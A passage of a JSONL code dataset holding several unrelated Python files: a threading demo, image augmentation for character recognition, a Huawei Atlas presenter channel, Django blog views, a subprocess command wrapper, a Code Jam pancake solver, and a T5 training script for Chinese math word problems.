(\"-c\",\"--colours\",):\n            Colours().colours_help()\n        if opt in (\"-h\",\"--help\"):\n            print(f'''\n{Colours().colour(233,\"Usage(1):-\")}  {Colours().colour(170,\"python3 -m Colours <option>\")}\n-----------------------------------------\nOptions:     \n            -h,--help:-  for help\\n\n            -c,--colours:- for listing all colours and the responsible number used in your code\n\\nUsage(2):-\\n\n---------------\nfirst import ,\n    {Colours().colour(170,\"From Niram import Colours\")}\nchange colour,\n    {Colours().colour(170,\"Colours().colour(<colour code(will get in '-c')>,Your text,second=your second colour or background)\")}\n    \n    This will return the formated text!.\n            ''')","sub_path":"Niram/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"324512619","text":"from threading import Thread\nimport time\n\nboolean = False\nx = 1\n\ndef Double():\n    global boolean\n    global x\n    while True:\n        time.sleep(0.5)\n        if boolean:\n            return 0\n        x = 2*x\n        \n\nclass Test(Thread):\n    def __init__(self):\n        super().__init__()\n        t1=Thread(target=Double)\n        t2=Thread(target=self.run)\n        t1.start()\n        time.sleep(0.25)\n        t2.start()\n\n\n    def run(self):\n        global boolean\n        while True:\n            if x>100:\n                boolean=True\n                break\n            time.sleep(0.5)\n\n\nloop = Test()\nloop.start()\nDouble()\nprint(x)","sub_path":"第四回/threading1.py","file_name":"threading1.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"530528209","text":"import cv2\nimport os\nimport math\nimport csv\nimport pixelDensity\nimport histogram as hist\nfrom random import shuffle\nimport numpy as np\n\n\n#Reads all of the new unlabelled images\ndef readData():\n\ttrain_data = []\n\tnum_files = len(os.listdir('TestFolder'))\n\tprint('Reading train data:')\n\tfor i, file in enumerate(os.listdir('TestFolder')):\n\t\tprint(round((i/num_files)*100,2),  end=\"\\r\")\n\t\tif file.endswith('.jpg'):\n\t\t\timg = cv2.imread('TestFolder/' + file, 0)\n\t\t\ttrain_data.append(img)\n\treturn train_data\n\n#Reads all of the labelled images\ndef readLabelledData():\n\tlabelled_data = []\n\tnum_files = len(os.listdir('labelled'))\n\tprint('Reading labelled data:')\n\tfor i, file in enumerate(os.listdir('labelled')):\n\t\tprint(round((i/num_files)*100,2),  end=\"\\r\")\n\t\tif file.endswith('.pgm'):\n\t\t\timg = cv2.imread('labelled/' + file, 0)\n\t\t\tutf = file[:4]\n\t\t\tlabelled_data.append((utf,img))\n\treturn labelled_data\n\n#Reads all of the font images\ndef readFontData():\n\tlabelled_data = []\n\tnum_files = len(os.listdir('labelled/font_data'))\n\tprint('Reading font data:')\n\tfor i, file in enumerate(os.listdir('labelled/font_data')):\n\t\tprint(round((i/num_files)*100,2),  end=\"\\r\")\n\t\tif file.endswith('.pgm'):\n\t\t\timg = cv2.imread('labelled/font_data/' + file, 0)\n\t\t\tutf = file[:4]\n\t\t\tlabelled_data.append((utf,img))\n\treturn labelled_data\n\ndef showImage(img):\n\tcv2.imshow('image',img)\n\tcv2.waitKey(0)\n\tcv2.destroyAllWindows()\n\n\ndef rotate(img, degrees):\n\to_rows,o_cols = img.shape\n\timg = cv2.copyMakeBorder(img,100,100,100,100,cv2.BORDER_CONSTANT,value=[255,255,255])\n\trows,cols = img.shape\n\tM = cv2.getRotationMatrix2D((cols/2,rows/2),degrees,1)\n\trot_img = cv2.warpAffine(img,M,(cols,rows))\n\trot_img = rot_img[50:rows-51,50:cols-51]\n\tcrop_img = pixelDensity.cropSquare(rot_img)\n\t#showImage(crop_img)\n\treturn crop_img\n\n#Augments images using rotation, erosion and dilation\ndef augmentImage(image, i, samples_generate):\n\tremainder = samples_generate%3\n\trotation_indices = []\n\terosion_indices = []\n\tdilation_indices = []\n\n\tnum_rotations = ((samples_generate-remainder)/3)+remainder\n\tnum_erosions = ((samples_generate-remainder)/3)\n\tnum_dilations = ((samples_generate-remainder)/3)\n\n\tfor x in range(1, int((samples_generate-remainder)/3)):\n\t\terosion_indices.append(x)\n\tfor x in range(int((samples_generate-remainder)/3)+1, int(2*(samples_generate-remainder)/3)):\n\t\tdilation_indices.append(x)\n\tfor x in range(int(2*(samples_generate-remainder)/3)+1, samples_generate+remainder):\n\t\trotation_indices.append(x)\n\n\taug_image = image\n\n\tif i in erosion_indices:\n\t\tkernel_values = int(i*(10/num_erosions))\n\t\tkernel = np.ones((kernel_values,kernel_values),np.uint8)\n\t\t#print('EROSION: Kernel: ' + repr(kernel_values))\n\t\taug_image = cv2.erode(image,kernel,iterations = 1)\n\n\tif i in dilation_indices:\n\t\tkernel_values = int((i-num_erosions)*(8/num_dilations))\n\t\tkernel = np.ones((kernel_values,kernel_values),np.uint8)\n\t\t#print('DILATION: Kernel: ' + repr(kernel_values))\n\t\taug_image = cv2.dilate(image,kernel,iterations = 1)\n\n\tif i in rotation_indices:\n\t\tdegrees = ((i-num_erosions-num_dilations)*(60/num_rotations))-30\n\t\tif degrees == 0:\n\t\t\tdegrees = 5\n\t\t#print('ROTATION: Degrees: ' + repr(degrees))\n\t\taug_image = rotate(image, degrees)\n\n\t#showImage(aug_image)\n\n\treturn aug_image\n\nif __name__ == \"__main__\":\n\t#The number of images per class:\n\tnum_images = 50\n\n\t#The training data (with labels)\n\tlabelled_data = readLabelledData()\n\t#The extra labelled data from the fonts\n\t#font_data = readFontData()\t\t\t\t\t\t#########\n\n\t#You can add the font data to the train data:\n\ttrain_data = labelled_data                         ########+ font_data\n\t#train_data = labelled_data\n\tprint(hist.histogramInformation(hist.generateHistogram(train_data)))\n\n\t#First undersample the data\n\tprint('STARTING UNDERSAMPLING...')\n\n\treduced_data = []\n\tutf_histogram = {}\n\n\tfor utf,image in train_data:\n\t\tif utf in utf_histogram:\n\t\t\tif utf_histogram[utf] < num_images:\n\t\t\t\tutf_histogram[utf] = utf_histogram[utf] + 1\n\t\t\t\treduced_data.append([utf, image])\n\t\telse:\n\t\t\tutf_histogram[utf] = 1\n\t\t\treduced_data.append([utf, image])\n\n\tprint('FINISHED UNDERSAMPLING')\n\n\t#hist.plotHistogram(utf_histogram)\n\tprint(hist.histogramInformation(utf_histogram))\n\n\t#Oversample the data\n\tprint('STARTING OVERSAMPLING...')\n\t\n\toversampled_data = reduced_data\n\tnew_utf_histogram = {}\n\n\t#Copy utf_histogram\n\tfor utf in utf_histogram:\n\t\tnew_utf_histogram[utf] = 0\t#############utf_histogram[utf]\n\n\t#Variables used to indicate the progress\n\ttotal_data_size = len(utf_histogram)*num_images\n\tprogress = 0\n\n\tfirst_seen_utf = {}\n\tfor utf, image in reduced_data:\n\t\tprogress +=1\n\n\t\t#If there are enough samples already, skip\n\t\tif new_utf_histogram[utf] == num_images:\n\t\t\tcontinue\n\n\t\t# write image itself too\n\t\toversampled_data.append([utf, image])\n\t\tprint(\"Writing: \", utf+'_'+str(new_utf_histogram[utf]) +'.pgm')\n\t\tcv2.imwrite('Aug_Train/' +utf+'_'+str(new_utf_histogram[utf]) +'.pgm',image)\n\t\tnew_utf_histogram[utf] = new_utf_histogram[utf] + 1\n\n\t\t#Use this to divide the samples equally\n\t\tfirst = False\n\t\tif not(utf in first_seen_utf):\n\t\t\tfirst = True\n\t\t\tfirst_seen_utf[utf] = 'Seen'\n\t\t\n\t\t#Calculate how many extra samples are needed \n\t\tsamples_needed = num_images - utf_histogram[utf]\n\t\tprint(\"samples_needed: \", samples_needed)\n\t\t#Calculate how many samples this image will generate:\n\t\tremainder = samples_needed%utf_histogram[utf]\n\t\tsamples_generate = int((samples_needed-remainder)/utf_histogram[utf])\n\t\tprint(\"samples_generate:\", samples_generate)\n\t\tif(first):\n\t\t\tsamples_generate = int(samples_generate + remainder)\n\t\t#print('This class (' + utf + ') needs ' + repr(samples_needed) + ' samples in total, so I this image will generate ' + repr(samples_generate) + ' samples because there are ' + repr(utf_histogram[utf]) + ' images')\n\t\tstart = new_utf_histogram[utf]\n\t\t#Generate the necessary amount of samples\n\t\tfor i in range(start, start+samples_generate):\n\t\t\t# print(\"ss\", samples_generate)\n\t\t\tprogress +=1\n\t\t\tnew_image = augmentImage(image, i, samples_generate)\n\t\t\toversampled_data.append([utf, new_image])\n\t\t\tprint(\"Writing: \", utf+'_'+str(i) +'.pgm')\n\t\t\tcv2.imwrite('Aug_Train/' +utf+'_'+str(i) +'.pgm',new_image)\n\n\t\t\tprint(repr(round(100*progress/total_data_size,2)), end=\"\\r\")\n\n\t\tnew_utf_histogram[utf] = new_utf_histogram[utf] + samples_generate\n\n\tprint('FINISHED OVERSAMPLING')\n\t\t\n\tgenerated_hist = hist.generateHistogram(oversampled_data)\n\n\thist.plotHistogram(generated_hist)\n\tprint('\\n'+hist.histogramInformation(generated_hist))\n\n\t#hist.plotHistogram(new_utf_histogram)\n\t#print('\\n'+hist.histogramInformation(new_utf_histogram))\n","sub_path":"augment_data_better.py","file_name":"augment_data_better.py","file_ext":"py","file_size_in_byte":6550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"375487813","text":"\"\"\"\nCopyright (R) @huawei.com, all rights reserved\n-*- coding:utf-8 -*-\n# !/usr/bin/env python\n# -*- coding:utf-8 -*-\n\"\"\"\nimport time\nimport configparser\nfrom multiprocessing import Process, Queue, Manager\nimport queue\nimport numpy as np\nimport sys\n#sys.path.append(\"..\")\n\nimport acl\nfrom atlas_utils.constants import *\n\nfrom atlas_utils.acl_logger import log_error, log_info\nfrom atlas_utils.data_buf import DataBuf\nfrom atlas_utils.acl_image import AclImage\n\nfrom .presenter_datatype import *\nfrom . import presenter_agent as agent\nfrom . import presenter_message as pm\n\nclass PresenterChannel(object):\n    \"\"\"\n    Presenter Channel status,send data,config\n    \"\"\"\n    def __init__(self, server_ip, port, name='video', type=CONTENT_TYPE_VIDEO):\n        self._server_ip = server_ip\n        self._port = port\n        self._type = type\n        self._name = name\n        self.agent_msg_queue = Queue()\n        self.open_status = Manager().Value('i', STATUS_DISCONNECT)\n        self.data_respone_counter =  Manager().Value('i', 0)\n        self._send_counter = 0\n        self._send_buffer = queue.Queue(64)\n        self.send_cnt = 0\n        self.relase_cnt = 0\n\n    def startup(self):\n        \"\"\"\n        return channel status\n        \"\"\"\n        agent_process = Process(target=agent.StartPresenterAgent, args=(self.agent_msg_queue, \n                                        self._server_ip, self._port, self.open_status, self.data_respone_counter))\n        agent_process.start()\n        time.sleep(0.5)\n        self._send_open_channel_request(self._name, self._type)        \n        return self._wait_open_status(STATUS_OPENED)        \n\n    def _wait_open_status(self, listen_status):\n        ret = STATUS_ERROR\n        for i in range(0, 100):\n            time.sleep(0.1)\n            if self.open_status.value == listen_status:\n                log_info(\"Open status is %d now\" % (listen_status))\n                ret = STATUS_OK\n                break\n        return ret\n        \n    def send_message(self, data):\n        \"\"\"\n        Sending data through a queue\n        \"\"\"\n        self.agent_msg_queue.put(data)\n        self._send_counter += 1\n\n    def _send_open_channel_request(self, channel_name, content_type):\n        request_msg = pm.open_channel_request(channel_name, content_type)\n        self.send_message(request_msg)\n\n    def _release_send_success_data(self):\n        release_num = self._send_buffer.qsize() - \\\n                      (self._send_counter - self.data_respone_counter.value)\n        if release_num > 0:\n            for i in range(0, release_num):                \n                data = self._send_buffer.get_nowait()\n                if isinstance(data, DataBuf):\n                    data.destroy()\n                data = None\n                self.relase_cnt += 1\n        #print(\"Released send success images \", self.relase_cnt)\n\n    def send_detection_data(self, image_width, image_height,\n                            image, detection_result):\n        \"\"\"\n        Send detection data and return status\n        \"\"\"\n        if self._send_buffer.full() is True:\n            log_error(\"Send detection data failed for buffer is full\")\n            return False\n\n        image_data = None\n        if isinstance(image, AclImage):\n            image_data = DataBuf(image.data(), image.size).copy_to_local()\n        elif isinstance(image, np.ndarray):\n            image_data = image            \n        else:\n            log_error(\"Invalid data to send\")    \n            return False \n\n        request_msg = pm.image_frame_request(image_width, image_height,\n                                             image_data.tobytes(),\n                                             detection_result)      \n        self.send_message(request_msg)   \n        self._send_buffer.put(image_data)     \n        self._release_send_success_data()\n\n        return True\n\n    def send_image(self, image_width, image_height, image):\n        \"\"\"\n        send detection image data\n        \"\"\"\n        detection_result = []\n        return self.send_detection_data(image_width, image_height, image, detection_result)\n\n    def _send_heart_beat_message(self):\n        msg = pm.heartbeat_message()\n        self.send_message(msg)\n\n    def __del__(self):\n        self.open_status.value = STATUS_EXITING\n        log_info(\"Presenter channel close...\")\n        self._send_heart_beat_message()\n        if STATUS_OK == self._wait_open_status(STATUS_EXITTED):\n            log_info(\"Presenter channel closed\")\n        else:\n            log_error(\"Presenter channel close failed for presenter agent no response\")\n\n\ndef get_channel_config(config_file):\n    \"\"\"\n    get channel presenter_server_ip, port, channel_name, content_type\n    \"\"\"\n    config = configparser.ConfigParser()\n    config.read(config_file)\n    presenter_server_ip = config['baseconf']['presenter_server_ip']\n    port = int(config['baseconf']['presenter_server_port'])\n    channel_name = config['baseconf']['channel_name']\n    content_type = int(config['baseconf']['content_type'])\n\t\n    log_info(\"presenter server ip %s, port %d, channel name %s, \"\n             \"type %d \" % (presenter_server_ip, port, channel_name, content_type))\n    return presenter_server_ip, port, channel_name, content_type\n\n\ndef open_channel(config_file):\n    \"\"\"\n    according to config open channel\n    \"\"\"\n    server_ip, port, channel_name, content_type = get_channel_config(config_file)\n    channel = PresenterChannel(server_ip, port, channel_name, content_type)\n    ret = channel.startup()\n    if ret:\n        log_error(\"ERROR:Open channel failed\")\n        return None\n    return channel\n","sub_path":"python/level2_simple_inference/6_other/colorization_video/atlas_utils/presenteragent/presenter_channel.py","file_name":"presenter_channel.py","file_ext":"py","file_size_in_byte":5602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"135812017","text":"from django.shortcuts import get_object_or_404, render, redirect\n\nfrom django.utils import timezone\n\n\nfrom .models import Post, Comment\nfrom .forms import PostForm, CommentForm\nfrom django.contrib.auth.decorators import login_required\n\n# Create your views here.\n\ndef postList(request):\n    posts = Post.objects.filter(publishDate__lte  = timezone.now()).order_by('publishDate')\n    return render(request, 'blog/postList.html', {'posts': posts})\n\n\ndef postDetails(request, pk):\n    post = Post.objects.get(pk=pk)\n    return render(request, 'blog/postDetails.html', {'post': post})\n\n\n@login_required\ndef postNew(request):\n    if request.method == 'POST':\n        form = PostForm(request.POST)\n        if form.is_valid():\n            post = form.save(commit=False)\n            # commit=False means that we don't want to save the Post model yet – we want to add the author first\n            \n            post.author = request.user\n            # post.createdDate = timezone.now() its default\n            # post.publishDate = timezone.now()\n            post.save()\n            return redirect('post_detail', pk = post.pk)\n        \n    else:\n        form = PostForm()\n        return render(request, 'blog/postEdit.html', {'form': form})\n\n@login_required\ndef postEdit(request, pk):\n    post = get_object_or_404(Post, pk=pk)\n    if request.method == 'POST':\n        form = PostForm(request.POST, instance = post)\n        # we pass this post as an instance, both when we save the form…\n        \n        if form.is_valid():\n            post = form.save(commit=False)\n            post.author = request.user\n            # post.publishDate = timezone.now()\n            post.save()\n            return redirect('post_detail', pk = post.pk)\n        \n    else:\n        form  = PostForm(instance = post)\n    return render(request, 'blog/postEdit.html', {'form': form})\n    \n    \n@login_required\ndef postDraftList(request):\n    drafts = Post.objects.filter(publishDate__isnull = True).order_by('createdDate')\n    return render(request, 'blog/postDraftList.html', {'drafts': drafts})\n\n@login_required\ndef postPublish(request, pk):\n    post = get_object_or_404(Post, pk=pk)\n    post.publish()\n    \n    return redirect('post_detail', pk = pk)\n\n@login_required\ndef postDelete(request, pk):\n    post = get_object_or_404(Post, pk = pk)\n    post.delete()\n    return redirect('post_list')\n\n\ndef addComment(request, pk):\n    post = get_object_or_404(Post, pk=pk)\n    if request.method == 'POST':\n        form = CommentForm(request.POST)\n        if form.is_valid():\n            comment = form.save(commit=False)\n            comment.post = post\n            comment.save()\n            return redirect('post_detail', pk= post.pk)\n        \n    else:   \n        form = CommentForm()\n    return render(request, 'blog/addComment.html', {'form': form})\n        \n@login_required\ndef approveComment(request, pk):\n    comment = get_object_or_404(Comment, pk=pk)\n    comment.approve()\n    return redirect('post_detail', pk=comment.post.pk)\n    \n@login_required\ndef removeComment(request, pk):\n    comment = get_object_or_404(Comment, pk=pk)\n    comment.delete()\n    return redirect('post_detail', pk=comment.post.pk)\n    ","sub_path":"swarnimApp/blogApp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"453029037","text":"import subprocess as sp\nimport logging\n\nclass Command(object):\n    cmd_name = ''           # command name\n    cmd_description = ''    # command description\n    \n    def __init__(self, args=None, loglevel=logging.ERROR):\n        self.args = args\n        self.logger = logging.getLogger(self.__class__.__name__)\n        self.logger.setLevel(loglevel)\n    \n    def execute(self):\n        '''Execute command'''\n        raise NotImplementedError('Method must be implemented in subclass')\n\n    def _run(self, args):\n        '''Run subprocess'''\n        command = ' '.join(args)\n        self.logger.info('Command: %s' % command)\n        p = sp.Popen(command, stdout=sp.PIPE, stderr=sp.PIPE, shell=True)\n        # read stdout\n        while True: \n            line = p.stdout.readline() \n            if not line: break\n            self.logger.debug('output: %r' % line)\n        # read stderr\n        while True: \n            line = p.stderr.readline() \n            if not line: break\n            self.logger.debug('error: %r' % line)\n\n\ndef get_commands_all():\n    '''\n    Get all `Command` class subclasses\n    '''\n    # !!!Your code here!!!\n\n    return Command.__subclasses__() #zwraca liste wszystkich klas dziedziczonych\n\n\ndef get_command(name):\n    '''\n    Get `Command` class subclass with given name.\n    If not found raise exception informing that given command is not implemented.\n    '''\n    # !!!Your code here!!!\n\n    lista = []\n    lista = get_commands_all()\n    print(name)\n    for i in lista:\n        cmd = i()\n        if cmd.cmd_name == name:\n            return i","sub_path":"python/tasks/commands/commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"11049861","text":"#!/usr/bin/env python3\n\nimport sys\n\ndef pancake_flips(pancakes):\n    flips = 0\n    for i in range(1, len(pancakes)):\n        if pancakes[i] != pancakes[i-1]:\n            flips += 1\n    if pancakes[-1] == '-':\n        flips += 1\n    return flips\n\ndef main():\n    if len(sys.argv) < 2:\n        print(\"Usage: pancakes.py <file>\")\n        exit()\n    in_file = sys.argv[1]\n    with open(in_file) as f:\n        cases = int(f.readline())\n        for i, line in enumerate(f):\n            pancakes = line.strip() # Strip off the newline\n            print(\"Case #%d: %d\" % (i+1, pancake_flips(pancakes)))\n\n##########\n\nif __name__ == '__main__':\n    main()\n","sub_path":"codes/CodeJamCrawler/16_0_2/tedsta/pancakes.py","file_name":"pancakes.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"307744322","text":"import re\n\nimport torch\nfrom bert_seq2seq.utils import load_gpt\nimport sys\n\n# sys.path.append(\"/Users/xingzhaohu/Downloads/code/python/ml/ml_code/bert/bert_seq2seq\")\nimport torch\nfrom tqdm import tqdm\nimport torch.nn as nn\nfrom torch.optim import Adam\n# import pandas as pd\nimport numpy as np\nimport os\nimport json\nimport time\nimport  glob\nimport bert_seq2seq\nfrom torch.utils.data import Dataset, DataLoader\nfrom bert_seq2seq.t5_ch import T5Model\nfrom bert_seq2seq.tokenizer import T5PegasusTokenizer, load_chinese_base_vocab\nfrom bert_seq2seq.t5_ch import T5Model\n\ntrain_data_path =\"/home/zp2053/codes/nlu/ape/train.ape.json\"\n\nval_data_path = \"/home/zp2053/codes/nlu/ape/valid.ape.json\"\n\nvocab_path = \"/scratch/zp2053/bert_seq2seq/vocab/t5_small_vocab.txt\"\nmodel_path = \"/scratch/zp2053/bert_seq2seq/weights/t5_small_pytorch_model.bin\"\nmodel_save_path = \"/scratch/zp2053/bert_seq2seq/weights/t5_small_math_ques_model.bin\"\nbatch_size = 32\nlr = 1e-5\nword2idx = load_chinese_base_vocab(vocab_path)\ntokenizer = T5PegasusTokenizer(word2idx)\n\n\ndef remove_bucket(equation):\n    \"\"\"去掉冗余的括号\n    \"\"\"\n    l_buckets, buckets = [], []\n    for i, c in enumerate(equation):\n        if c == '(':\n            l_buckets.append(i)\n        elif c == ')':\n            buckets.append((l_buckets.pop(), i))\n    eval_equation = eval(equation)\n    for l, r in buckets:\n        new_equation = '%s %s %s' % (\n            equation[:l], equation[l + 1:r], equation[r + 1:]\n        )\n        try:\n            if is_equal(eval(new_equation.replace(' ', '')), eval_equation):\n                equation = new_equation\n        except:\n            pass\n    return equation.replace(' ', '')\n\ndef is_equal(a, b):\n    \"\"\"比较两个结果是否相等\n    \"\"\"\n    a = round(float(a), 6)\n    b = round(float(b), 6)\n    return a == b\n\n## 苏神baseline 读取数据\ndef load_data(filename):\n    \"\"\"读取训练数据，并做一些标准化，保证equation是可以eval的\n    参考：https://kexue.fm/archives/7809\n    \"\"\"\n    D = []\n    # index = 0\n    for l in open(filename,encoding=\"utf-8\"):\n        # index += 1\n        # if index == 100:\n        #     break\n        l = json.loads(l)\n        # print(l)\n        question, equation, answer = l['original_text'], l['equation'], l['ans']\n        # 处理带分数\n        question = re.sub('(\\d+)\\((\\d+/\\d+)\\)', '(\\\\1+\\\\2)', question)\n        equation = re.sub('(\\d+)\\((\\d+/\\d+)\\)', '(\\\\1+\\\\2)', equation)\n        answer = re.sub('(\\d+)\\((\\d+/\\d+)\\)', '(\\\\1+\\\\2)', answer)\n        equation = re.sub('(\\d+)\\(', '\\\\1+(', equation)\n        answer = re.sub('(\\d+)\\(', '\\\\1+(', answer)\n        # 分数去括号\n        question = re.sub('\\((\\d+/\\d+)\\)', '\\\\1', question)\n        # 处理百分数\n        equation = re.sub('([\\.\\d]+)%', '(\\\\1/100)', equation)\n        answer = re.sub('([\\.\\d]+)%', '(\\\\1/100)', answer)\n        # 冒号转除号、剩余百分号处理\n        equation = equation.replace(':', '/').replace('%', '/100')\n        answer = answer.replace(':', '/').replace('%', '/100')\n        if equation[:2] == 'x=':\n            equation = equation[2:]\n        try:\n            # print(equation)\n            # print(answer)\n            # print(\"~~~~~~~`\")\n            if is_equal(eval(equation), eval(answer)):\n                D.append((question, remove_bucket(equation), answer))\n        except Exception as e:\n            print(e)\n            continue\n    return D\n\nclass SeqDataset(Dataset):\n    \"\"\"\n    针对特定数据集，定义一个相关的取数据的方式\n    \"\"\"\n\n    def __init__(self, data):\n        ## 一般init函数是加载所有数据\n        super(SeqDataset, self).__init__()\n        # 读原始数据\n        # self.sents_src, self.sents_tgt = read_corpus(poem_corpus_dir)\n        self.data = data\n\n        self.idx2word = {k: v for v, k in word2idx.items()}\n        self.maxlen = 256\n        self.tokenizer = tokenizer\n    def __getitem__(self, i):\n\n        single_data = self.data[i]\n        # print(single_data)\n        original_text = single_data[0]\n        equation = single_data[1]\n\n        token_ids_src, _ = tokenizer.encode(original_text, max_length=256)\n        token_ids_tgt, _ = tokenizer.encode(equation, max_length=256)\n        output = {\n            \"token_ids_src\": token_ids_src,\n            \"token_ids_tgt\": token_ids_tgt,\n        }\n        return output\n\n    def __len__(self):\n        return len(self.data)\n\n\ndef collate_fn(batch):\n    \"\"\"\n    动态padding， batch为一部分sample\n    \"\"\"\n\n    def padding(indice, max_length, pad_idx=0):\n        \"\"\"\n        pad 函数\n        \"\"\"\n        pad_indice = [item + [pad_idx] * max(0, max_length - len(item)) for item in indice]\n        return torch.tensor(pad_indice)\n\n    token_ids_src = [data[\"token_ids_src\"] for data in batch]\n    max_length_src = max([len(t) for t in token_ids_src])\n    token_ids_tgt = [data[\"token_ids_tgt\"] for data in batch]\n    max_length_tgt = max([len(t) for t in token_ids_tgt])\n\n    token_ids_padded = padding(token_ids_src, max_length_src)\n    target_ids_padded = padding(token_ids_tgt, max_length_tgt)\n    labels_ids = target_ids_padded.clone()\n    labels_ids[labels_ids == 0] = -100\n    target_ids_padded = target_ids_padded[:, :-1].contiguous()\n    labels_ids = labels_ids[:, 1:].contiguous()\n\n    return token_ids_padded, target_ids_padded, labels_ids\n\n\nclass Trainer:\n    def __init__(self):\n        # 加载数据\n        data = load_data(train_data_path)\n\n        # 判断是否有可用GPU\n        # self.device = torch.device(\"cpu\")\n        self.device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n        print(\"device: \" + str(self.device))\n        # 定义模型\n        self.model = T5Model(word2idx,size = \"small\")\n        ## 加载预训练的模型参数～\n        self.model.load_pretrain_params(model_path)\n        # 将模型发送到计算设备(GPU或CPU)\n        self.model.set_device(self.device)\n        # 声明需要优化的参数\n        self.optim_parameters = list(self.model.parameters())\n        self.optimizer = torch.optim.Adam(self.optim_parameters, lr=lr, weight_decay=1e-3)\n        # 声明自定义的数据加载器\n        self.dataset = SeqDataset(data)\n        self.dataloader = DataLoader(self.dataset, batch_size=batch_size, shuffle=True, collate_fn=collate_fn)\n        self.best_acc = 0.0\n\n    def train(self, epoch):\n        # 一个epoch的训练\n        self.model.train()\n        self.iteration(epoch, dataloader=self.dataloader, train=True)\n\n    def save(self, save_path):\n        \"\"\"\n        保存模型\n        \"\"\"\n        self.model.save_all_params(save_path)\n        print(\"{} saved!\".format(save_path))\n\n    def iteration(self, epoch, dataloader, train=True):\n        total_loss = 0\n        report_loss = 0\n        start_time = time.time()  ## 得到当前时间\n        step = 0\n        for token_ids, target_ids, labels_ids in tqdm(dataloader):\n            step += 1\n            # print(token_ids.shape)\n            # print(target_ids.shape)\n            # print(labels_ids.shape)\n            if step % 500 == 0:\n                self.save(model_save_path)\n                self.model.eval()\n                test_data = [\"王艳家买了一台洗衣机和一台电冰箱，一共花了6000元，电冰箱的价钱是洗衣机的3/5，求洗衣机的价钱．\",\n                             \"六1班原来男生占总数的2/5，又转来5名男生，现在男生占总数的5/11，女生有多少人？\",\n                             \"两个相同的数相乘，积是3600，这个数是多少.\"]\n                for text in test_data:\n                    print(self.model.sample_generate_encoder_decoder(text, add_eos=True))\n                self.model.train()\n                print(\"report loss is \" + str(report_loss))\n\n            # 因为传入了target标签，因此会计算loss并且返回\n            loss = self.model(token_ids,labels=labels_ids, decoder_input_ids=target_ids)[0]\n            # 反向传播\n            if train:\n                # 清空之前的梯度\n                self.optimizer.zero_grad()\n                # 反向传播, 获取新的梯度\n                loss.backward()\n                # 用获取的梯度更新模型参数\n                self.optimizer.step()\n\n            # 为计算当前epoch的平均loss\n            total_loss += loss.item()\n            report_loss += loss.item()\n        print(\"validing..........\")\n        acc = self.validation()\n        print(\"valid acc is \" + str(acc))\n        if acc > self.best_acc:\n            self.best_acc = acc\n            self.save(model_save_path)\n\n\n\n\n        end_time = time.time()\n        spend_time = end_time - start_time\n        # 打印训练信息\n        print(\"epoch is \" + str(epoch) + \". loss is \" + str(total_loss) + \". spend time is \" + str(spend_time))\n        # 保存模型\n        self.save(model_save_path)\n\n    def eval_equation(self, equation):\n        ans = -10000\n        try:\n            ans = eval(equation)\n        except:\n            pass\n        return ans\n\n    def validation(self):\n        val_data = load_data(val_data_path)\n        self.model.eval()\n        right = 0.0\n        num = len(val_data)\n        # for each_data in tqdm(val_data, total=num):\n        for each_data in tqdm(val_data):\n            equation = self.model.sample_generate_encoder_decoder(each_data[0],add_eos=True)\n\n            pred_ans = self.eval_equation(equation.replace(\" \", \"\"))\n            ans1 = each_data[2]\n            try:\n                if \"/\" in each_data[2] or \"+\" in each_data[2] or \"-\" in each_data[2] or \"*\" in each_data[2]:\n                    # print(each_data[2])\n                    # equation1 = re.sub('\\((\\d+/\\d+)\\)', '\\\\1', str(each_data[2]))\n                    ans1 = eval(each_data[2])\n                if abs(float(pred_ans) - float(ans1)) < 0.01:\n                    right += 1\n                    # print(\"right! pred is \" + str(pred_ans) + \" ans is \" + str(each_data[2]))\n                else:\n                    pass\n                    # print(\"err! pred is \" + str(pred_ans) + \" ans is \" + str(each_data[2]))\n            except Exception as e:\n                print(e)\n\n        self.model.train()\n        return right / num\n\n    def sanitycheck(self):\n        for i in range(5):\n            example = next(iter(self.dataloader))\n            # print(example)\n            srcs,tgts,lables = example\n            # intput_tokens  = example['token_ids_src']\n            # tgt_tokens = example['token_ids_tgt']\n            for i in range(srcs.shape[0]):\n                intput_tokens = srcs[i,:].tolist()\n                tgt_tokens = tgts[i,:].tolist()\n                # lable = lables[i,:].tolist()\n                print(tokenizer.decode(intput_tokens))\n                print(tokenizer.decode(tgt_tokens))\n                # print(tokenizer.decode(lable))\n\n\n\nif __name__ == '__main__':\n\n    trainer = Trainer()\n    model = trainer.model\n    encoder = model.model.encoder\n    save_path = \"./encoder.bin\"\n    torch.save(encoder.state_dict(), save_path)\n    train_epoches = 10\n    trainer.sanitycheck()\n    for epoch in range(train_epoches):\n        # 训练一个epoch\n        trainer.train(epoch)\n","sub_path":"t5_baseline.py","file_name":"t5_baseline.py","file_ext":"py","file_size_in_byte":11162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
